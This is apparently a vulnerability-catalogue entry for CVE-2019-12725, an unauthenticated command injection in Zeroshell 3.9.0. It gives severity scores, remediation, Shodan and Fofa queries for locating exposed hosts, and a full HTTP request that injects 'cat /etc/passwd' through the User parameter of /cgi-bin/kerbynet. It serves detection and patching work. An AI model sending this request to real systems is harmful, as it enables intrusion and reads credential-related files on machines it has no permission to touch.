| Title | Zeroshell 3.9.0 - Remote Command Execution |
|---|---|
| Author | dwisiswant0,akincibor |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the target system. |
| Remediation | Upgrade to 3.9.5. Be aware this product is no longer supported. |
| CVSS Score | 9.8 |
| EPSS Score | 0.94144 |
| CVE ID | CVE-2019-12725 |
| CWE ID | CWE-78 |
| Shodan Query | http.title:"zeroshell" |
| Fofa Query | title="zeroshell" |
| Tags | cve cve2019 packetstorm rce zeroshell vkev vuln |
Zeroshell 3.9.0 is prone to a remote command execution vulnerability. Specifically, this issue occurs because the web application mishandles a few HTTP parameters. An unauthenticated attacker can exploit this issue by injecting OS commands inside the vulnerable parameters.
GET /cgi-bin/kerbynet?Action=StartSessionSubmit&User='%0acat%20/etc/passwd%0a'&PW HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; WOW64; rv:41.0) Gecko/20100101 Firefox/140.0 (x64 de)
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-12725.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-12725.pcap
N/AN/A